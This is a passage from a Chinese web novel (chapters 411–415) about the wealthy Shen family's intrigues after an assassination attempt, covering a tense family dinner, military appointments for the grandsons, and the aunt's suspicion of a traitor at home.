夏星沉看了周宴珩一眼,表情略有些怪异,“我……我跟她没有关系,杀她,也不过是听命行事。” 没有关系? 周宴珩微微眯眼,脸色闪过一丝异样的情绪。 “两年前,她去鲸港一中不是去见你的?” 夏星沉记得那一次,一个漂亮的贵族女生突然跑到他面前,说他是个丑陋的卑劣者,那次他记忆犹新。 思忖片刻,夏星沉摇头,如实说道:“那是我们第一次见面。” “第一次见面?”周宴珩沉默片刻,指尖一勾收了枪,从口袋里拿着一张支票丢在夏星沉面前。 “医药费。” 话落,门口的保镖打开房门,周宴珩双手插兜,头也不回走出了房间。 夏风吹着白纱轻轻飘荡,夏星沉扯过单人床上的条纹被单,将手上的血擦得干干净净才慢慢捡起地上的支票。 六十万,刚刚可以支付奶奶一年的疗养费。 山庄任务失败,他不仅没有得到佣金,还被打出了内伤。 身体状况太差,导致他不能去黑市打拳,正愁没怎么解决生计问题,周宴珩就抛出了橄榄枝。 天底下哪有这么巧的事?看来这位周家少爷也不是善茬。 不过,烂命一条的人哪有资格挑剔? 夏星沉低笑了一声,小心翼翼将支票收好。 * 户外公园,夏素心正盯着绣球花出神,一位年轻的姑娘笑着上前打招呼。 “夏奶奶,午休时间过了,我推您回去休息吧?” “是小陈啊,不着急,我在这等小沉。” 陈琪雅蹲下身,温柔耐心,“夏奶奶,我刚刚碰见夏星沉了,导师有急事找他,因为时间太匆忙也就来不及回来告诉您,是他特意嘱咐我过来照顾您的。” 夏素心闻言,脸上满是心疼,“原来是这样,那孩子也太辛苦了。” 陈琪雅笑了笑,“辛苦是辛苦,这可也说明夏星沉优秀啊,您是不知道,他手上那些项目,就算是我们院博士师兄都眼红得紧,导师什么都想着他,这是好事。” 夏素心听不懂里面的弯弯绕绕,但她知道眼前的女孩儿是孙子的同班同学,女孩儿心地善良常常来这做义工,对她也很照顾,所以一听陈雅琪说是好事,眼里便有了笑意。 “夏奶奶,我推您回去吧?” 夏素心点头,陈雅琪便推着轮椅往住宿楼走去。 两人经过大厅无障碍通道时,疗养院的主任正好领着两个年轻女孩儿从大厅出来,等她们进了大厅,其中一个长相精致的女生一脸嫌弃捂着鼻子,“什么味儿,恶心死了。” 男人有些尴尬,“蒂娜小姐,我们这大多都是老人,所以……” 赫拉偷偷拽了拽白蒂娜的胳膊,小声道,“一股老人味,你确定真的要在这待两个月吗?” 白蒂娜脸色不愉,“那有什么办法?” 男人原本还想领着白蒂娜去休闲公园看看,但白蒂娜已经完全没有了兴趣。 “这边情况我已经了解了,你们弄个项目报表去白公馆,到时候自然有人跟你们对接。” 男人顿时乐开了花,“那……那就多谢蒂娜小姐了,蒂娜小姐真是人美心善。” 白蒂娜摆摆手,“那我交代的事?” 男人会心一笑,“蒂娜小姐您放心,我们这每年都有很多鲸医大的学生来做义工,您的德行分不是问题。” 白蒂娜这才满意点了点头,正欲告辞,忽然想到什么,指着旁边的赫拉,“对了,回头记得把她的名字也加上。” 赫拉脸色微变,“蒂娜……” 她原本在国贸顶楼喝下午茶,突然被白蒂娜抓来疗养院就已经够倒霉了,现在还要跟大小姐一起伺候一群老东西,赫拉光想想都觉得恶心。 白蒂娜转眸,面无表情,“怎么?你不愿意?” 赫拉咽了咽嗓子,尴尬笑了笑,“没有。” 白蒂娜回头看向男人,“三天之内可以办好吗?” “可以可以。”男人唯恐得罪了财神爷,忙不迭应下。 两人出了疗养院,正好看见一辆极致酷炫的黑色跑车停在路边,全球唯一限定版黑夜之声,饶是见惯了纸醉金迷的白家公主也被吸引了视线。 跑车四周围满了保镖,只见一个穿着黑色西装的男人被众星拱月请上了车。 男人眉目英俊,转眸看了她们一眼,又漫不经心收回了视线。 白蒂娜用手肘顶了顶赫拉,“他谁啊?” 赫拉作为S国第一批交换生,自然认识,“周宴珩,A国除了沈家就是周家,他是周家钦定的家族继承人。” 白蒂娜若有所思,眼里燃起一丝恶意,“沈家那三个坏笋我已经领教过了,这个看着好像比较好说话。” S国的交换生大多是S国的贵族,有些与周宴珩的关系还不错。 赫拉回忆着大家的评价,附和道,“这位周家少爷出手阔绰也没什么架子,反正比沈家少爷好相处。” 说着又朝白蒂娜使了个只能意会的眼神,“除了沈归灵,就数他的异性缘最好。” 另一边,周宴珩坐上车第一时间就拿出了手机,点开与关鹤的聊天记录,一帧一帧放大图片。 “……” 关鹤那个傻逼,拍的什么垃圾图?全部都是借位。 周宴珩垂着眼睑,指尖无意敲点着手机屏幕。 “咚咚——” 忽然,耳边传来清脆的敲玻璃声。 周宴珩抬眸,只见一个模样惊艳的女生正隔着一扇窗看着他。周宴珩沉默片刻,将手机翻转,按下车窗。 “有什么事吗?” 白蒂娜抿唇笑了笑,“这里不好打车,你能带我们一段吗?我们去鲸港国贸。” 周宴珩抬眸,目光温和与白蒂娜对视。 其实早在他出来第一眼就认出了白蒂娜的身份,平心而论,白蒂娜的样貌非常符合他的审美,但就是很奇怪,他只扫了一眼就收回了视线,因为当时急于求证那张照片的真假。 “拜托了,我刚到这里人生地不熟,大家就当交个朋友吧?” 交朋友? 周宴珩勾了勾嘴角,S国的毒蛇公主,好像脑子有点不聪明。 …… 第411章 偏心 傍晚,沈庄提前归园,并让沈执通知各房晚上一起去正厅用餐。 夕阳如橘灯挂在天边,沈园的阿姨们进进出出,有条不紊操持家宴。 沈庄回沁园换了一身常服便转去正厅,沈让和沈澈得了消息,提前在正厅等候,远远看见老爷子,两人一左一右迎了上去。 沈让一脸担忧,“爸,清予怎么样了?” 沈庄摆摆手,“沈执,去泡壶茶。” “是。”沈执应声转出主厅。 转出的功夫,正好遇见沈谦领着沈归灵从廊下而来。 沈执站立,面露微笑,“先生,阿灵少爷。” 沈谦淡淡颔首,“清予情况如何?” 沈执,“清予少爷并无大碍,但还需要在医院休养一段时间。 ” “那就好。”沈谦往主厅的方向看了一眼,沈执立马让出一条路。 屋里说话的功夫,沈谦领着沈归灵一前一后进了主厅。 “爸。” “爷爷。” 沈庄点头,指着身边的座位,“坐。” 沈谦看了沈归灵一眼,示意他挨着老爷子,沈归灵顺从入座。 沈庄扫了一眼,目光微顿,“阿灵,脸怎么了?”说着似想到什么,脸色阴沉看向沈谦,“你打的?” “……”沈谦神情尴尬,“不……” “一个个的都反了天了?!”沈庄突然动怒,拿起拐杖对着沈谦的手臂一棍砸下。 “你们真以为你们当了老子就可以肆无忌惮了?!我跟前养大的孩子,任你们说打就打,说杀就杀?” 沈归灵低垂着眉眼,棍影从脸上掠过的时候眼皮都没抬一下。 “嘶!”沈谦痛的眉头都快拧作一团,“爸,你这是做什么?不是我。” “不是你是谁?巴掌印自己走他脸上的?阿灵性子乖巧,你便欺他不敢说?有你这么当老子的吗?” 沈澈和沈让见状,连忙落井下石。 “就是啊大哥,阿灵身上还有伤,你就是再生气也不能挑这个时候打孩子啊。” “就是。” 沈谦气得牙痒痒,忍无可忍看向沈归灵,“阿灵,你说。” 沈归灵眼神微闪,起身拦在沈庄面前,“爷爷,这件事是我不对,您别动气了。” 不说还好,一说沈庄更气。 “让开!” 老爷子一把推开沈归灵,举起拐杖对着沈谦的腿又是一棍。 “你们兄弟俩是打哪学来的风气?自己没本事就回家作贱儿子?谁给你们两个的胆子?!” 沈谦眉心一跳,心知他这是被老二连累了,赶紧解释,“爸,我真没有,您误会了。” “爷爷。” 沈兰晞在厅外站了好一会儿,等沈谦挨了两棍才不紧不慢出声。 沈庄举着拐杖,抬眸看了沈兰晞一眼,恨铁不成钢又抽了沈谦一棍,“看在小辈的份上,今天给你留点颜面,下次若还敢再没轻没重,别怪我打折了你的手。” 沈谦有苦难言,他原本想说是姜花衫打的,但又想到此前已经答应沈归灵保守秘密,现在说出来岂不是出尔反尔? “大伯、四叔、五叔。”沈兰晞神色从容,淡淡扫了沈归灵一眼,“衫衫打的?” 这话一出,在场所有人都愣住了。 沈归灵眸底漫过一丝温和的笑意,“嗯。” 这下就连泰山崩于前而色不变的老爷子都明显尴尬了一下,拄着拐杖若无其事回座。 沈谦神色阴沉看着对面两个小人,沈澈和沈让却好似眼盲了一般,转头跟沈兰晞打起招呼。 “咳咳~”沈庄皱眉,略有些迟疑看向沈归灵,“真是衫衫打的?” 沈归灵倒也没有遮掩,点了点头。 沈庄表情有些微妙,盯着沈归灵脸上的抓痕看了半天,呵呵笑了笑,“衫衫这两天受苦了,心情不好,你别跟她一般见识,回头爷爷说说她。” “!”沈谦原本还等着老爷子给个说法,听见这样的说辞立马瞪大了眼睛。 说说她?! 沈归灵十分配合点了点头,“这事不怪她,是我没有做好。” “乖。”沈庄十分欣慰点了点头,说罢抬头看向众人,“小孩子磕磕碰碰在所难免,你们大人就别瞎掺和了。” 沈谦,“……” 老爷子这话怕不是在敲打他吧? “爸说的是。”沈让跟着附和,转头看向门外,“奇怪,阿娇和枝枝怎么还没来?” 正说着,厅外传来沈娇张罗的声音。 “慢点!轻点!小心轮毂。” 话音刚落,傅绥尔和沈眠枝结伴走了进来。 “爷爷。” “阿公。” 沈庄抬眸看向厅外,“外面怎么回事?” 沈眠枝和傅绥尔退至两边,张茹和冯妈一左一右抬着轮椅跨过门槛。 姜花衫笑吟吟朝沈庄招手,“爷爷。” 沈娇穿着一身青山色旗袍,风姿绰约跟在轮椅后。 “唉哟!”沈庄脸色微变,立马从主位起身,亲自上前搀扶,“怎么就起身了?” 厅里的人随着老爷子的移动,不约而同站了起来。 沈归灵往前走了几步,忽然想到什么,又落在后面。 沈兰晞初见姜花衫时,眼眸微亮,下一秒见她脚上打着钢板,一只手还吊在胳膊上,眉头紧锁。 恍惚间,脑子里又晃过她倒在血水中的画面。 她只出现了一秒,就轻易将两人推进了水深火热之中。 姜花衫笑着应和,“爷爷,我没什么事,都在床上躺一天了,再不出来遛遛人都要发霉了。” 沈庄闻言,摸了摸她的头,“好。不要勉强。” 姜花衫点头,目光状似不经意扫向厅前众人。今晚沈家所有人都到了,说不定可以找机会验证自己的猜想是否正确。 正想着,迎面便与沈兰晞的目光对上,两人都愣了愣,沈兰晞眼里的光又亮了几分,正要开口,姜花衫一脸嫌弃转过头。 已经暂时排除了大傻是内鬼,沈兰晞就不值得浪费时间了。 沈兰晞雀跃的心顿时死了一半。 她还在生气? 姜花衫淡淡扫向沈澈,眼神渐渐凝重。 沈家二代里,她回来后最先防备的人就是沈谦,因为在她的刻板印象里,沈谦一直就是个坏人,除了沈谦,二房所有人都是明坏。 相比起来,沈澈这位四伯就有些耐人寻味了。 因为有沈谦和沈渊做对比,沈澈就好似透明了一般,明明他的手段也不干净,但因为沈谦和沈渊吸引了绝大多数火力,所以他的罪行就被刻意弱化了。 难道,沈澈才是整个沈园里藏的最深的人? 沈澈察觉到了姜花衫的目光,笑着调侃,“怎么了,不认识四伯了?” 姜花衫故作不好意思笑了笑,“哪能啊,您化成灰我都认识。” “……”沈澈嘴角抽了抽。 姜花衫抿嘴收回目光,刚转眸又对上另一道灼热的目光。 沈归灵站在人群之外,一瞬不瞬看着她。 …… 第412章 疑心 不知怎么,目光对视的瞬间,她脑子里忽然就蹦出四个字。 ——我给你玩。 姜花衫嘴角抽了抽,面无表情转过目光,一不小心又落在沈兰晞脸上。 沈兰晞眼眸微动,姜花衫眼皮跳了跳,刻意扭动脖子转了一圈,最后又笑吟吟看向沈庄,“爷爷,沈清予怎么样了?” 沈庄脸上的笑容淡了几分,“虽没伤着要害,但这一个月免不了要在医院待着了。” 沈兰晞垂眸,不动声色看向沈归灵,目光转来的瞬间,沈归灵察觉到什么,抬眸看了过来。 “……” “行了。大家都到齐了,先吃饭吧。” 沈庄不欲多说,淡淡吩咐阿姨摆席。 众人相互看了看,跟着沈庄入桌,沈归灵和沈兰晞分别坐在沈庄两侧,姜花衫因为坐着轮椅行动不便,沈庄让人在旁边单独开了一桌,张茹负责投喂。 饭桌上,小辈们几乎没有开口,三房几个偶尔交流几句,沈谦很明显被排斥在外。 若是以前,沈庄怎么都会出来转圜气氛,但这次他看在眼里却并未出声,只是专心致志吃饭 姜花衫和张茹坐在旁边的小桌,这个位置,她正好可以作为局外人观察所有人的反应。 三房说了几句便察觉到了桌上气氛不对,相互看了看自觉收声,顿时桌上气氛安静如斯。 沈娇察觉到了沈庄与平时大不一样,迟疑片刻,笑着开口,“爸……” 沈庄淡淡打断,“食不言寝不语,有什么话,下的饭桌再说。” 沈娇脸色变了变,默默看了沈让一眼,沈让摇了摇头,沈娇便笑着点头应下。 没吃两口,沈庄便摆摆手,示意沈执不必再布菜。 沈执微愣,放下筷箸退至一侧。 随着年纪渐长,老爷子晚上这餐基本吃的很少,以前为了照顾晚辈,他都会刻意多吃一点,像今天这样早搁筷子的情况基本没有。 众人见状,纷纷停食。 沈庄拿起桌上的丝巾擦了擦嘴,“都吃饱了?” 众人相互看了看,沈庄起身,“吃饱了就移步正厅吧,说说正事。” 张茹正要搁筷,沈庄摆手,“不急,吃饱了再过来。” 众人脸色微变,不由多看了姜花衫一眼。虽说以前就知道老爷子偏心姜花衫,但今天这出也太明显了。 姜花衫倒没在意,指着餐盘里的红烧狮子头,“张妈,再来一个。” 张茹看的干着急,虽说老爷子发话了,但也不能真当着大家的面恃宠而骄,这可是会犯众怒的。但姜花衫眼神坚持,张茹只能挑了个最大的。 餐厅和主厅之间隔着十二花神门,阿姨们将隔断退至两侧,餐厅和主厅便合成了一个开间十二米的横厅。 沈庄端坐在主位,三房成员各守一端,沈执推着茶点车挨个布茶,服务妥帖后,沈执便又领着厅里的所有阿姨出了门厅,张茹见状,进退两难,犹豫片刻正要跟着出去,大厅的门被人从外面稳稳合上了。 姜花衫拍了拍她的手,张茹立马退回姜花衫身后。 沈庄抬手端起茶盅,目光在众人之间逡巡了一圈,摇头吹了吹茶汤,轻抿了一口才不紧不慢开口,“前夜山庄之事想必你们都已经知道了,说说看,你们都有什么想法?” 沈谦捂了捂被抽痛的手臂,斟酌片刻率先开口,“警署厅传回的资料上证实了那些海寇与南湾绑架案的海寇是一伙人,父亲,这分明是有人故意设局报复。” 沈让,“这些海寇一定是非法登岸,暗堂那边查了两天,只找到了他们在鲸港落脚的旅馆,行踪抹除的这么干净,背后指使之人一定不简单。” 沈澈,“这事是顾家发起的,会不会是顾家有心预谋?” 沈娇皱眉,神情严肃,“爸,我问过衫衫和绥尔了,打伤她们的是另外两批人。” 沈让愣了愣,“什么两批人?” “山庄出事那晚,有人绑架了绥尔,还有人一直追杀衫衫,这不像是冲着沈家来的,倒像是冲着我沈娇来的。”说罢,沈娇意有所指看向对面的沈谦,“我倒不知道,我一个女流之辈到底是挡了谁的路,竟然对我两个女儿下手。” 沈让眼神微变,转眸看向沈眠枝。 沈眠枝垂着眼睑点了点头。 沈让跟着竖起眉头,神情冷凝看向沈谦,“南海海岸的防线什么时候变着这么松懈了?如果我没记错,南湾十舰的军令指挥和大哥交情匪浅吧?” 沈谦自是听出了两人的弦外之音,冷冷笑了笑,面不改色端起茶盏,以他现在的段位,还没蠢到因为别人的一句质疑就跳进自证的陷阱。 沈澈见他不接话,又把话题抛给沈庄。 “爸,山庄的消息都被北区军队封锁了,您是不是知道什么?” 众人心知肚明,下封山令的就是沈庄。 沈庄放下茶盏,“前夜山庄一共有潜伏了四批杀手。” 一听说有四队人马,除了那晚的当事人,其他人纷纷变了脸色。 沈庄好似未察,继续说道,“一队是海寇,那些人是冲着阿灵去的,一队是狙击手,他们是冲着小花儿去的,还有一队绑匪,他们也是冲着小花儿去的。” 闻言,沈归灵和沈兰晞眼底闪过暗色。 他们便是疏忽了这点,差点酿成不可挽回的错误。 沈澈大为吃惊,“那,还有一队呢?” 沈庄吗“还有一队是五年前襄英那伙人,他们是冲着兰晞去的。” “砰——” 沈让顿时大怒,拍案掀翻了茶桌,“已有此理,这分明就是冲着我们沈家来的。” 沈娇看着被掀翻的茶汤,娇媚的眼里掀起一丝暗涌。 五年前,绥尔濒临死境,衫衫把她从鬼门关救了回来,三年后,绥尔又为衫衫挡枪,还了欠下的一命。好不容易两个孩子长大成人,前夜又差点死在一块,每每想到这些,沈娇都觉得心口压着一块石头,让她喘不过气。 孩子的命被悬在钢丝上游走,这对于一个母亲来说,无异于凌迟折磨,可五年时间,三次与死神擦肩而过,沈娇就算再迟钝也已经察觉出了一丝不对劲。 她强行压下眼中的情绪,抬眸看向沈庄,“爸,您查到是什么人干的吗?” …… 第413章 天降馅饼 这话一出,厅内顿时鸦雀无声,所有人目光一致看向沈庄。 沈兰晞和沈归灵的眼神比其他人多了几分复杂。 原本,他们以为姜花衫和傅绥尔受伤是受了无妄之灾,没想到是有人刻意针对,换句话说,就算没有沈兰晞的计划,也会有人暗中加害姜花衫。认知到这点,两人不约而同起了除害之心。 姜花衫抬头,表情淡然看向沈庄。 沈庄摇头,“只知道是冲着小花儿来的,但还不知道是谁?” 沈娇眼里的暗涌越发深幽,身子微微后仰,靠着圈椅默不作声。 沈让皱眉想了想,“会不会是跟两年前暗杀枝枝的杀手是同一批人?这么看来,绥尔、澜兰、枝枝还有衫衫,这么看来,的确是有人盯上我们沈家的女儿。” 沈澈此刻的脸色也十分不好看,“到底是谁?连家中的幼女都不放过,莫不是和我们有什么血海深仇?” 沈谦不语,只是一昧看着主位的老爷子。 沈庄抬手,打断众人的猜疑,“这件事等以后查到了现在再说,眼下有更重要的事要通知你们。” 更重要的事? 众人神情微凛,姜花衫低头咬了一口狮子头,她猜想爷爷这么做一定有他的用意。 沈庄转头看向沈谦,“听说关楼联合乔嗣上呈了军务上调法案?” 沈谦没想到老爷子突然把话题转到了他身上,心下微微一颤,不动声色看了沈庄一眼,点头,“是。” 这次的军务上调法案主要更改了军务晋级流程,以前只有军政学府考编军官才有资格晋级军务中心,但这次提议增加了鲸港国防,军政学府大多门槛高,大多是军二代。鲸港国防相对军事要求门槛低,一般是官二代和富贵豪绅。如果这个法案通过,将打破A国军传军的传统,军权将于政权想融合。 不过,老爷子是怎么知道的,这个法案也就是今天早上才在会议上提起的。 沈庄,“你有什么想法?” 沈家是A国最大的军权代表,一族出了两位金枪上将,关楼这项提议无意于端碗拿刀来沈家碗里抢蛋糕,沈谦自然不会让这项提议通过。 他不敢隐瞒,如实道,“关楼联合周家、乔家拉了不少票,再加之民众的意愿也是希望军务考核面向大众,所以……” 沈庄,“不管你用什么办法,必须把这项提议压下。” 沈谦愣了愣,从他掌权以来,老爷子嫌少对某件事表现出如此强势的态度。 沈庄抬手敲了敲案台,语气不容置喙,“若你连这点本事都没有,国会议员的位置就换着人坐。” 沈谦立马收敛神情,起身俯首,“爸,您放心,我知道该什么做。” 沈庄点头,“这些年,沈家权势如烈火烹油,虽有荣耀,但危险也步步紧逼。山庄的事必须彻查,正好借着这个机会,探探鲸港局势,省的什么宵小之辈都敢来我跟前晃。” 忽然,他指尖一顿,似是想到什么,转眸看向身侧的沈兰晞,“兰晞,多事之秋爷爷顾不得你,你就去313师打磨打磨性子吧。” 这话一落,沈谦、沈澈、沈让表情微愣。 沈兰晞也是措手不及,略有些不解看着沈庄。 沈庄,“我已经替你申请了两个月的随军演练,你去313待两个月,等开学了再回来。” “诶?”姜花衫轻咦了一声,眼神微动一一扫过众人。 如果她没记错,上一世沈兰晞去313师随军演练是在和他订婚第二天,因为不满爷爷随意指婚,他直接去军营躲了半年。没想到这一世,沈兰晞和313的渊源竟然是这样的开启的。 爷爷这个让沈兰晞去313师足以看出他对沈兰晞有多偏爱,若是沈谦因为力压这条法案,一定会触犯对方利益,狗急跳墙,难保不会有人做出过激之事。 313师是沈玺直系军队,当年沈玺就是从这个军师出来的,若沈兰晞是去了313师,他的安全便由一个军师负责,谁敢和万人神兵团作对?不仅如此,沈兰晞不过二十岁就能作为练习兵入营313师,如果在执行任务期间建立军功,就算以后法案生效,他的直升道路也会比同期对手晋级顺利。 爷爷提前了上一世的谋划。 第414章 各唱各戏 沈兰晞去313师,沈归灵去南湾海舰,最大的受益者会是谁呢? 姜花衫低头摸了摸眉毛,不动声色看向沈庄。 自然是爷爷咯。 若是依着沈归灵说的,爷爷其实已经知道二代的腐化,如今隐忍不过是为了能把三代推向更高的位置。 爷爷定然料准了如此托举沈兰晞必定会引起沈谦的争抢,为了不撕破脸,沈谦唯一抗衡的方法就是托举沈归灵。 这么看来,爷爷这是把自己的命和沈家的未来都赌在了沈归灵和沈清予身上。 祠堂那夜,爷爷已经对三傻开诚布公,沈兰晞心中的隐患也已经解决,这一世,只要她和沈兰晞各自安好,爷爷也不会因为强行指婚的事与沈兰晞生出嫌隙,得此偏爱,沈兰晞无论如何都不可能背叛爷爷。 至于沈清予,他最大的心结就是同为爷爷的孙子,爷爷过于偏爱沈兰晞。 但如今沈清予已经明白了爷爷的良苦用心,这份积怨一定能慢慢消除。 在得知自己父亲的罪恶后,沈清予第一时间是上门警告沈渊,由此可见,到目前为止,沈清予对沈家、对爷爷的心一如少年心性。 那么最关键点就是沈归灵了。 上一世,沈归灵在沁园跪了一夜,最后被爷爷驱逐出了A国,除了沈眠枝死的那天,她还从未见爷爷如此伤心。 姜花衫一时没忍住,困惑不解看向沈归灵。 爷爷那么宠爱沈归灵,即使知道二房是毒瘤依旧不遗余力栽培他,到底沈归灵做了什么会让爷爷寒心至此? 还有一点她一直没有想通,剧目之门关联的所有人物都是上一世下场凄凉的炮灰,为什么沈归灵作为男主,会被冠以‘小可怜’的称号。 并且其他奖励都是未知,只有沈归灵的奖励清清楚楚写下的是剧目之笔,剧目之笔可以改写结局,完全契合她想改变爷爷死局的动机,这种诱惑力就像剧目之门生怕她会拒绝似的。 姜花衫眉头紧蹙,忽然灵光一闪。 难不成上一世,沈归灵曾经背叛过爷爷,背叛过沈家?! 当年沈年飙车嗑药造成高架五死十一伤,甚至还当着新闻媒体的面大言不惭,我爷爷是沈庄,没人敢治我的罪,气的老爷子差点与沈谦一家断绝父子关系。 萧澜兰也是因为犯下不可饶恕的罪过才被爷爷驱逐M国变相软禁。 以爷爷对沈归灵的宠爱,如果不是他做了什么丧尽天良的事,爷爷不至于如此心灰意冷。 姜花衫越想越觉得这个可能性极高,她微微眯眼,打量的眼神渐渐有了种审查犯人的威胁感,这狗东西要是真敢背叛爷爷,一定不能轻饶。 那边,沈庄听完沈谦的提议,沉默了片刻,不动声色看向沈归灵,“阿灵,你怎么说?” 沈归灵抬眸,不卑不亢,“爷爷,我想去。” 闻言,沈谦嘴角隐有笑意。 沈家的孩子,在面对自己命运的时候必须自己作主,若沈归灵连这点承担的胆量都没有,也不配拿到南湾海舰的资源。 沈澈和沈让此刻脸色格外凝重,沉默不语看向沈庄。 沈归灵是二房的人,若是老爷子同意他拿到南湾海舰的资源,假以时日,沈归灵必是三代里不输于沈兰晞的翘楚。 要是再加上一个沈清予,以后沈家哪还有三房的位置? 沈庄哪会不知众人心思,但他也有自己的考量,丝毫没有犹豫点头应道:“好,我亲自为阿灵写引荐信。阿灵,好好学,不要丢爷爷的脸。” 沈归灵眉眼含笑,“是,爷爷。” 沈谦神情有些恍惚,这还是老爷子第一次对他的提议如此赞同。 沈兰晞神色淡淡,端盏喝茶,好似对沈归灵的去处一点都不在意。 会议结束,沈庄留下三个孙女在小厅说话,其余人各自回院。 有了沈归灵的平衡,沈谦倒也没再计较沈庄对沈兰晞的偏爱,出了主厅甚至还主动与沈兰晞寒暄。 “兰晞啊,313师可是你父亲的心血,你可得好好把握机会,争取也像阿灵一样拿个军功回来。” 在场谁看不出沈谦是惺惺作态,313师是出了名的烈士军师,沈谦让沈兰晞拿军功,不是让他以命相搏? 沈兰晞神情淡淡,“不劳大伯费心,我自有主张。” 说着从容优雅点了点头,转身往廊下走去。 沈澈低头思忖片刻,快步跟了上去。 沈让白了沈谦一眼,毫无芥蒂拍了拍沈归灵的肩膀,“好好学,南湾海域有暗堂暗哨,回头我让枝枝把联络密哨整理一份给你送过去,若是遇上什么难处只管找五叔。” 沈归灵礼貌点头,“谢谢五叔。” 沈让嗯了一声,拽了拽沈娇的胳膊,“走走走,去你那坐坐?” 沈娇凝眉看了沈归灵一眼,跟着沈让出了主院。 沈谦盯着沈让的背影,眼神不善,“老五倒是对你不错。” 沈归灵不偏不倚,“五叔待人一向热诚。” 沈谦眼底闪过寒光,“你出发前我会让莫然给你整理一份名单,那些都是我在南湾海军的挚友,以后没事多走动。” 沈归灵神色微动,“父亲信不过五叔?” 沈谦回头,见沈归灵目光清澈,看向他的眼里满是敬佩和依赖,难得父爱泛滥。 “阿灵,你记住,在这个家里不要轻易相信任何人。” * “兰晞!兰晞!”沈澈快步从廊下追上沈兰晞。 沈兰晞停下脚步,淡淡颔首,“四叔。” 沈澈平喘了一口气,左右看了看,“借一步说话?” 沈兰晞回头看向湖心凉亭,沈澈点头,两人并肩入亭。 夏日凉爽,荷塘落满月影,蛙声和蝉鸣声此起彼伏。 沈澈一脸忧心,“兰晞,刚才阿灵说要去南海舰你怎么也不出声阻止?” 沈兰晞,“我为什么要阻止?” 原本他还担心自己去313师,沈清予住院,四院就只剩沈归灵和姜花衫单独相处,现在沈归灵也去了南海舰正和他意。 “……”沈澈被怼得一时不知道该说什么,期期艾艾,“你难道还看不出你大伯的心思吗?这些年他仕途顺遂,费尽心思揽权,若是沈归灵入了南海舰,你这家主的位置还能坐稳吗?” 沈兰晞皱眉,“爷爷自然不会任他们胡来。” “若是以后老爷子也管不住呢?”沈澈语重心长,“兰晞,你太年轻了,老虎每日吃肉,一日不喂便会噬主,二房如今已经尝到了权利的滋味,哪会轻易罢手?” “你是三哥唯一的血脉,这个家未来的家主,有些事你不能太天真,有些人你也不得不防。” “四叔就说这么多,你自己回去好好琢磨琢磨,别到时候后悔。” 说着,轻轻拍了拍沈兰晞的肩膀,轻叹一声出了凉亭。 沈兰晞面无表情,等到沈澈的背影完全消失在内院,才忍无可忍抬手掸了掸被沈澈拍过的肩膀。 “少爷。” 高止从梁顶跳下,一边勾着脖子看向沈澈消失的方向,一边从兜里掏出湿巾甩到沈兰晞面前。 “少爷不是答应老爷子先不跟他们算账吗?” 沈兰晞接过湿巾,细细擦拭指尖,“我只答应爷爷不计较自己的恩怨。” 但,那晚到底是谁想杀姜花衫,这个人必须要找出来。 …… 第415章 问女何所求? “冯姆,给我做碗刀削面。” 沈让和沈娇一前一后回到冬园,冯妈刚从房间出来就听见沈让粗声粗气的喊声。 沈娇一脚踢翻脚上的高跟鞋,懒洋洋躺进沙发,“要吃回你院吃去。” 沈让权当没听见,又补充一句,“加两个蛋。” 冯妈笑着应下,转头看向沈娇,“小姐要不要也吃点?” 沈让给自己倒了一杯热茶,“吃点吧,刚刚晚饭你一口没吃。” 沈娇捏住眉心摇了摇头,“吃不下。” 冯妈也没再说什么,转头去厨房张罗。 沈让见状,起身给她倒了杯热茶,“怎么了?还在为衫衫和绥尔的事烦心。” 沈娇指尖一顿,冷冷抬眸,“沈家一定有内鬼。” 沈让脸色变了变,没有接话,低头将茶盏推到沈娇跟前。 沈娇凝眉,偏头打量沈让,“两年前,在国贸中心埋伏的狙击手有线索了吗?” 沈让摇头,“暗堂查了两年,也只查到一具外籍男尸,对方明显也防着我们。” 沈娇听罢,眼里满是失望,“连暗堂都查不到信息,难不成真是近在咫尺?” 沈让低头喝茶,“现在想这么多也无济于事,我同老爷子商量过了,从暗堂调遣一队暗卫随时保护衫衫和绥尔的安全。” 沈娇脸色稍缓。 没一会儿,冯妈端着一碗香喷喷的羊肉刀削面走了进来。 沈让饿了一晚上,对这香气扑鼻的美食一点抵抗力都没有,三下五除二连汤带面吃了个干净。 沈娇一脸嫌弃,“别弄脏了我的羊绒地毯。” 沈让倒也不在意,哈哈起身,“你如今富的流油还跟我计较这个?对了,今天来就是想跟你商量,F国联合政府已经解散,现在由吉吉岛当地军政府主理F国政权,之前我们暗中协助当地政府夺权,赞助了他们不少军火,吉吉司令同意将F国主山矿区和黑三角的统治区都卖给我们。” 沈娇摆摆手,“这些事我都不管,如果要钱拿个总账给我,数量不多我先划给你。” 沈让点头,“行。回头再来找你。” 说完要事,沈让又安慰了沈娇几句,沈娇嫌他啰嗦,直接把人赶了出去。 冯妈进厅收拾碗筷。 沈娇起身坐了起来,“冯妈,让人查查五哥最近在做什么?” 冯妈眼神震惊,回过神后立马返身关上主厅大门,“小姐,您怀疑少爷?” 沈娇此刻没有半分迟疑,冷冷道,“不!我怀疑沈家每个人。但…先从五哥查起。” 冯妈有些不忍,李夫人于她有再造之恩,沈澈、沈让都是李夫人的儿子,冯妈自是不愿看见他们兄妹反目。 沈娇轻叹了一声,“这么多年,我与五哥休戚与共,利益不分,我有多少家底他最清楚。” “我实在不想以最险恶之心去猜度自己的亲兄弟,可现在的局势容不得我有一丝犹豫,衫衫和绥尔的命经不得任何折腾,我若守不住她们,留着金山银山又有什么用?” “查清楚五哥的清白,若是我冤枉了他,要打要骂我随他处置,若是我真看错了人,也不能一错再错。” 冯妈低头抹了抹眼角的泪,“是。” * 此时正厅的气氛完全没有方才的冷凝,沈庄面带微笑看着三个小孙女。 “山庄的事你们受惊了,为了表达爷爷歉意,爷爷答应你们一个要求,想要什么都可以。” 傅绥尔喜出望外,“真的吗?爷爷,我想参加鲸港政府举行的青年杯,我妈不许我报名,你给我报名好不好?” 青年杯是鲸港政府举办的优秀青年文汇会,政府每年会邀请各界才俊,通过辩论、演讲的形式引导民众对社会各类现象进行反思和深挖。 之前傅绥尔就跟沈娇透露过自己想参加,但沈娇出于安全考虑拒绝傅绥尔所有的社交活动。 这个要求出乎意料,沈庄琢磨片刻点了点头,“行,爷爷给你报名。” 这几年,傅绥尔的成长喜人,三个孙女里,她是唯一一个选择军政学府的人,要知道入了这个门槛,基本就确定了仕途这条路。 在此之前,沈庄从未想过要将权柄交到女孩儿手里,但当他看见傅绥尔一步一步越过高峰,他终于明白是自己狭隘了。 沈眠枝犹豫片刻,鼓起勇气,“爷爷,我想学射击还有自由搏击。” “学什么?”沈庄突然有点后悔自己刚刚话说的太满了。 